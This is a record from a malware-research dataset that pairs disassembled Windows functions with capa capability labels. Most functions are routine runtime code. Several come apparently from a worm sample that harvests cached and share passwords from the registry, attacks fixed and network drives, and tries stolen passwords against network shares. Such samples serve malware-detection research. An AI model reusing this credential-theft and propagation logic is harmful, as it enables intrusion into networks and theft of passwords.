joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18001a77c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x18001a7ac
xor eax, eax
jmp 0x18001a86f
mov rbp, rbx
cmp word [rax], si
je 0x18001a7d1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x18001a7b8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x18001a7b4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.180018e64
movsxd r14, eax
test eax, eax
jne 0x18001a80f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x18001a7a5
mov rcx, r14
call fcn.180016cb8
mov rdi, rax
test rax, rax
jne 0x18001a828
xor ecx, ecx
call fcn.18001157c
jmp 0x18001a804
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.180018e64
test eax, eax
jne 0x18001a859
mov rcx, rdi
call fcn.18001157c
jmp 0x18001a863
xor ecx, ecx
call fcn.18001157c
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x18001d0c0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.180011974
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x18001d161
cmp ebx, dword [rsp + 0x30]
je 0x18001d15a
test esi, esi
je 0x18001d15a
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x18001d135
sub r8w, 0x61
cmp r8w, 0x19
ja 0x18001d142
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x18001d11f
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x18001d146
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x18001d163
mov eax, 1
jmp 0x18001d163
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1800200f4
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.180014d18
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.180014d18
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x180020244
cmp rax, 0xffffffffffffffff
je 0x180020244
xor edi, edi
test rbp, rbp
jle 0x1800201ef
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1800149ec
mov rbx, rax
test rax, rax
jne 0x18002017c
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1800201e5
mov edx, 0x8000
mov ecx, r14d
call fcn.18001ff78
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1800146e4
cmp eax, 0xffffffff
je 0x1800201c5
cdqe
sub rbp, rax
test rbp, rbp
jg 0x18002018c
mov edx, r15d
mov ecx, r14d
call fcn.18001ff78
jmp 0x1800201e5
cmp byte [rsi + 0x38], dil
je 0x1800201dc
cmp dword [rsi + 0x34], 5
jne 0x1800201dc
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x1800201e5
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.18001157c
jmp 0x180020258
jns 0x180020258
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.180014d18
cmp rax, 0xffffffffffffffff
jne 0x180020210
cmp byte [rsi + 0x30], dil
je 0x180020258
mov edi, dword [rsi + 0x2c]
jmp 0x180020258
mov ecx, r14d
call fcn.18001d920
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x180020258
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x180020258
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x180020251
mov eax, dword [rsi + 0x2c]
jmp 0x180020256
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.180014d18
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x180020d20
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x180020d48
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x180020d48
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140019bc0]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140019bd0]
mov dword [rax], 1
mov rax, qword [0x140019be0]
mov dword [rax], 1
mov rax, qword [0x140019bb0]
mov dword [rax], 1
mov rax, qword [0x140019a70]
cmp word [rax], 0x5a4d
jne 0x140001067
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010d0
mov rax, qword [0x140019ba0]
mov dword [0x14001d00c], ecx
mov eax, dword [rax]
test eax, eax
jne 0x1400010c0
mov ecx, 1
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140019b60]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140019b40]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400199b0]
cmp dword [rax], 1
je 0x140001108
xor eax, eax
add rsp, 0x28
ret
mov ecx, 2
call sym.__set_app_type
jmp 0x140001084
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001120
cmp dx, 0x20b
jne 0x140001067
cmp dword [rax + 0x84], 0xe
jbe 0x140001067
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x140001067
lea rcx, [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x140001067
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x140001067
Function at 0x1400015fc
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Resume thread
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call dbg.__main
mov r8d, 0x14
mov edx, 4
mov ecx, 0x7e8
call sym.is_before_int__int__int_
lea r8, str.w0rm
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateMutexA]
call rax
mov qword [rbp - 8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
cmp eax, 0xb7
sete al
test al, al
je 0x140001666
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
mov rax, qword [rbp + 0x18]
mov rax, qword [rax]
mov qword [0x14001d040], rax
call sym.runningNT__
cmp eax, 1
sete al
test al, al
je 0x140001691
lea rcx, str.WORM_running_on_WinNT_n
call sym.printf_char_const__::_
jmp 0x1400016ad
lea rcx, str.WORM_running_on_Win9x_n
call sym.printf_char_const__::_
lea rcx, str.KERNAL32.DLL
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov edx, pe_nt_image_headers64
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetPriorityClass]
call rax
lea rax, [rbp - 0x1c]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 4
mov r9d, 0
lea r8, [sym.WormMainThread_void_]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x14000171b
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
mov rax, qword [rbp - 0x18]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
lea rcx, str.MAIN_DEBUG:_worm_threads_ended__im_outa_here:_press_a_key..._n
call sym.printf_char_const__::_
call sym.getch
cmp qword [rbp - 8], 0
je 0x140001758
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call rax
mov eax, 0
add rsp, 0x50
pop rbp
ret

Function at 0x140001763
Capabilities:
Get socket status
Initialize winsock library
Receive data
Receive data on socket
Send data
Send data on socket
Set socket configuration

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp + 0x10], rcx
lea rcx, str.WormMainThread:_started..._n
call sym.printf_char_const__::_
call sym.propogateMAPI__
call sym.getSharePasswords__
call sym.getCachedPasswords__
mov dword [rbp - 4], 0x40
lea rdx, [rbp - 4]
lea rax, [rbp - 0x50]
mov r8, rdx
mov rdx, rax
mov ecx, 0
call sym.WNetGetUserA
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.addPassword_char_
mov eax, dword [0x140020260]
mov edx, eax
lea rcx, str.DEBUG:_total_pwds_got___d_n
call sym.printf_char_const__::_
call sym.propogateDrive__
mov ecx, 0
call sym.propogateNet__NETRESOURCEA_
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_ExitThread]
call rax
nop
Function at 0x1400023d2
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov byte [rbp - 1], 0x35
cmp qword [rbp + 0x10], 0
je 0x14000241c
mov rax, qword [rbp + 0x10]
movzx eax, byte [rax]
test al, al
je 0x14000241c
mov rax, qword [rbp + 0x10]
movzx edx, byte [rax]
movzx eax, byte [rbp - 1]
xor edx, eax
mov rax, qword [rbp + 0x10]
mov byte [rax], dl
add qword [rbp + 0x10], 1
movzx eax, byte [rbp - 1]
mov ecx, eax
call sym.rotr_unsigned_char_
mov byte [rbp - 1], al
jmp 0x1400023e2
nop
add rsp, 0x30
pop rbp
ret
Function at 0x1400024b0
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push rbp
sub rsp, 0x390
lea rbp, [rsp + 0x80]
call sym.runningNT__
test eax, eax
sete al
test al, al
je 0x140002729
lea rax, [rbp + 0x300]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionNetworkLanMan
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov rax, qword [rbp + 0x300]
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rdx, [rbp + 0x2f4]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
call rax
mov eax, dword [rbp + 0x2f4]
test eax, eax
je 0x140002703
mov dword [rbp + 0x30c], 0
mov eax, dword [rbp + 0x2f4]
cmp dword [rbp + 0x30c], eax
jae 0x140002703
mov rax, qword [rbp + 0x300]
lea rcx, [rbp - 0x20]
mov edx, dword [rbp + 0x30c]
mov r9d, 0x100
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
call rax
mov rax, qword [rbp + 0x300]
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x2f8]
mov qword [rsp + 0x20], rcx
mov r9d, 0
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
mov byte [rbp + 0x1e0], 0
movzx eax, byte [rbp + 0x1e0]
mov byte [rbp + 0xe0], al
mov dword [rbp + 0x2f0], 0x100
mov rax, qword [rbp + 0x2f8]
lea rcx, [rbp + 0x2ec]
lea rdx, [rbp + 0x2f0]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp + 0xe0]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0
lea rdx, str.Parm1enc
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
mov eax, dword [rbp + 0x2f0]
mov eax, eax
mov byte [rbp + rax + 0xe0], 0
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.decodePW_char_
lea rax, [rbp + 0xe0]
mov rcx, rax
call sym.addPassword_char_
mov dword [rbp + 0x2f0], 0x100
mov rax, qword [rbp + 0x2f8]
lea rcx, [rbp + 0x2ec]
lea rdx, [rbp + 0x2f0]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp + 0x1e0]
mov qword [rsp + 0x20], rdx
mov r9, rcx
mov r8d, 0
lea rdx, str.Parm2enc
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
mov eax, dword [rbp + 0x2f0]
mov eax, eax
mov byte [rbp + rax + 0x1e0], 0
lea rax, [rbp + 0x1e0]
mov rcx, rax
call sym.decodePW_char_
lea rax, [rbp + 0x1e0]
mov rcx, rax
call sym.addPassword_char_
add dword [rbp + 0x30c], 1
jmp 0x140002588
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov rax, qword [rbp + 0x300]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, 0
add rsp, 0x390
pop rbp
ret
Function at 0x140002737
Capabilities:
Get disk information

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xc0
lea rax, [rbp - 0xa0]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov rdx, rax
mov ecx, pe_nt_image_headers64
mov rax, qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
call rax
mov dword [rbp - 0x14], eax
cmp dword [rbp - 0x14], 0
jle 0x140002819
cmp dword [rbp - 0x14], 0x7f
jg 0x140002819
mov dword [rbp - 4], 0
mov eax, dword [rbp - 0x14]
lea edx, [rax + 3]
test eax, eax
cmovs eax, edx
sar eax, 2
cmp dword [rbp - 4], eax
jg 0x140002819
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
call rax
cmp eax, 3
je 0x1400027b3
cmp eax, 4
je 0x1400027d9
jmp 0x1400027fe
mov rax, qword [rbp - 0x10]
mov rdx, rax
lea rcx, str.DRIVE_FIXED:__s_n
call sym.printf_char_const__::_
mov rax, qword [rbp - 0x10]
mov edx, 1
mov rcx, rax
call sym.attackDrive_char__int_
jmp 0x1400027fe
mov rax, qword [rbp - 0x10]
mov rdx, rax
lea rcx, str.DRIVE_REMOTE:__s_n
call sym.printf_char_const__::_
mov rax, qword [rbp - 0x10]
mov edx, 1
mov rcx, rax
call sym.attackDrive_char__int_
nop
mov rax, qword [rbp - 0x10]
movzx eax, byte [rax]
add eax, 1
mov edx, eax
mov rax, qword [rbp - 0x10]
mov byte [rax], dl
add dword [rbp - 4], 1
jmp 0x140002780
nop
add rsp, 0xc0
pop rbp
ret
Function at 0x140002b89
Capabilities:
Connect network resource

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov dword [rbp - 8], 0
mov dword [rbp - 4], 0
mov eax, dword [0x140020260]
cmp dword [rbp - 4], eax
jge 0x140002c1b
mov eax, dword [rbp - 4]
cdqe
shl rax, 7
mov rdx, rax
lea rax, [0x14001e960]
add rax, rdx
mov r8d, 0
mov rdx, rax
mov rcx, qword [rbp + 0x10]
call sym.WNetAddConnectionA
mov dword [rbp - 8], eax
cmp dword [rbp - 8], 0
jne 0x140002c15
cmp dword [rbp - 8], 0x56
je 0x140002c15
mov eax, dword [rbp - 4]
cdqe
shl rax, 7
mov rdx, rax
lea rax, [0x14001e960]
add rax, rdx
mov r8, rax
mov rdx, qword [rbp + 0x10]
lea rcx, str.PASS_CRACKED:__s_:__s_n
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140002c20
add dword [rbp - 4], 1
jmp 0x140002ba3
mov eax, 0xffffffff
add rsp, 0x30
pop rbp
ret
Function at 0x14000c580
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]
Function at 0x14000c5f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x1400202f4]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x14000c7a0
mov rax, qword [0x1400202f8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x14000c63c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x14000c6c7
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x14000c620
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rbp, rax
test rax, rax
je 0x14000c7fd
mov rax, qword [0x1400202f8]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1400202f8]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000c7e2
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000c6c0
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x14000c750
add dword [0x1400202f4], 1
cmp ebx, 8
jae 0x14000c6f8
test bl, 4
jne 0x14000c7b0
test ebx, ebx
je 0x14000c6e9
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x14000c7d0
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x14000c6e9
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x14000c72a
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rdi, qword [0x1400202f8]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000c6c0
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
xor edi, edi
jmp 0x14000c647
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x14000c6e9
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x14000c6e9
mov rax, qword [0x1400202f8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop dword [rax]
Function at 0x14000cd10
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x140020360]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140020340]
test rbx, rbx
je 0x14000cd64
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x14000cd5b
test r12, r12
je 0x14000cd5b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x14000cd40
lea rcx, [0x140020360]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x14000cf90
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
jne 0x14000cfa0
jmp sym._ValidateImageBase.part.0
xor eax, eax
ret

Function at 0x14000cfb0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x14000cff5
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp r8, rdx
ja 0x14000cfec
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x14000cff7
add rax, 0x28
cmp rax, r9
jne 0x14000cfd8
xor eax, eax
ret

Function at 0x14000d0a0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x140019a70]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x14000d119
mov rcx, r10
call sym._ValidateImageBase.part.0
test eax, eax
je 0x14000d119
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x14000d116
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x14000d10d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x14000d119
add r8, 0x28
cmp r8, r9
jne 0x14000d0f8
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x14000d200
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x140019a70]
xor eax, eax
cmp word [r9], 0x5a4d
mov r8, rcx
jne 0x14000d26f
mov rcx, r9
call sym._ValidateImageBase.part.0
test eax, eax
je 0x14000d26f
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add r9, rax
movzx eax, word [r9 + 0x14]
movzx edx, word [r9 + 6]
lea rax, [r9 + rax + 0x18]
test edx, edx
je 0x14000d26d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000d264
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x14000d278
add rax, 0x28
cmp rax, r9
jne 0x14000d250
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret
Function at 0x14000d290
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x140019a70]
xor r9d, r9d
cmp word [r11], 0x5a4d
mov r8d, ecx
jne 0x14000d308
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x14000d308
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x14000d308
movzx edx, word [rcx + 0x14]
lea rdx, [rcx + rdx + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x14000d308
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r10, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r9d, dword [rdx + 0xc]
mov rcx, r9
cmp rax, r9
jb 0x14000d2fc
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x14000d310
add rdx, 0x28
cmp rdx, r10
jne 0x14000d2e8
xor r9d, r9d
mov rax, r9
add rsp, 0x28
ret
add rax, r11
jmp 0x14000d320
sub r8d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x14000d32e
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000d305
test r8d, r8d
jg 0x14000d318
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
add rsp, 0x28
ret

Function at 0x14000d410
Capabilities:
Allocate thread local storage

Disassembly:
push r12
push rbx
sub rsp, 0x28
mov rbx, rcx
mov r12, rdx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov ecx, eax
cmp eax, 0xffffffff
je 0x14000d440
mov rdx, r12
mov dword [rbx], eax
add rsp, 0x28
pop rbx
pop r12
jmp dbg.__mingwthr_key_dtor
add rsp, 0x28
pop rbx
pop r12
jmp qword [sym.imp.KERNEL32.dll_GetLastError]
add byte cs:[0x18c5880c0], cl
pop rdi
outsd dx, dword [rsi]
jne 0x140042f07
jne case.0x14001308c.20
jae 0x140042f15
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsd dx, dword [rsi]
jne 0x140042f20
je 0x140042eb4
or byte [rax + 0x8540c1f], ah
add byte [rax], al
or al, 0xa
jb 0x140042f2d
or cl, byte [rdi + rbp*2 + 0x63]
imul edx, dword [rbx + 0x65], 0x6d
invalid
and eax, dword [rax]
add byte [rsi], al
push rax
push rdx
invalid
pop rdi
push rbp
or byte [rdi + 0x6000022], al
push r12
push rsp
pop r15
push r15
push rdx
invalid
push r12
jo 0x140043081
ja 0x1400430d6
outsb dx, byte [rsi]
pop rdi
pop rdi

Function at 0x14000d480
Capabilities:
Get thread local storage value

Disassembly:
push r13
push r12
sub rsp, 0x28
mov r12d, ecx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, r12d
mov r13d, eax
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ecx, r13d
mov r12, rax
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, r12
add rsp, 0x28
pop r12
pop r13
ret

Function at 0x14000d4c0
Capabilities:
Set thread local storage value

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x14000d4d8
xor eax, eax
add rsp, 0x28
ret
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_GetLastError]